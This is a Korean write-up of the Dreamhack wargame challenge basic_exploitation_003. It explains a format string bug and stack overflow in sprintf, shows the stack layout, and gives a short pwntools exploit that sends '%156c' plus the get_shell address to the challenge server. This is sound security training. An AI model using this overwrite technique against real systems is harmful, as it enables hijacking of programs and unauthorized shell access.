[Dreamhack] basic_exploitation_003 문제 풀이
- basic_exploitation_003
: 위 문제에서 제공하는 문제 파일을 다운받은 후 아래와 같은 코드를 확인할 수 있다.
: 위의 코드 중에서 main 부분을 분석하자면
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
: 동적 메모리 할당 함수인 malloc으로 0x80(128바이트 동적 할당 )만큼을 heap_buf에 할당하며, 0x80만큼을 heap_buf에 입력받는다.
: stack_buf 에 0x90(144바이트 배열 할당)만큼 할당된다.
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
: heap_buf 내용을 stack_buf에 sprintf로 출력하며, stack_buf를 출력하고 코드가 종료된다.
→ 위의 코드를 분석하였을 때, sprintf에 fsb가 발생할 수 있다. 하지만, 동시에 snprintf 처럼 사이즈를 정한 것이 아니기 때문에 buffer overflow가 발생할 수 있다.
이를 통해, RET 까지 쓰래기 값을 채워 RET 에 get_shell() 함수 주소를 덮어 씌우면 된다.
stack_buf(144byte) |
SFP(4byte) |
RET(4byte) |
: 스택 구조를 살펴보면 stack_buf가 ebp로부터 152바이트 떨어져 있다는 것을 알 수 있다.
그러므로 4바이트를 더한 156 바이트 채워 RET 부분에 get_shell() 함수의 주소를 덮어 써준다.
아래 pwntools를 이용하여 페이로드를 작성해준다.
from pwn import*
p = remote("host1.dreamhack.games", 16088)
get_shell = 0x8048669
payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()
넣어 주게 되면 flag 값을 얻어 문제를 해결할 수 있다.
https://dreamhack.io/wargame/challenges/5/
basic_exploitation_003
Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "fla
dreamhack.io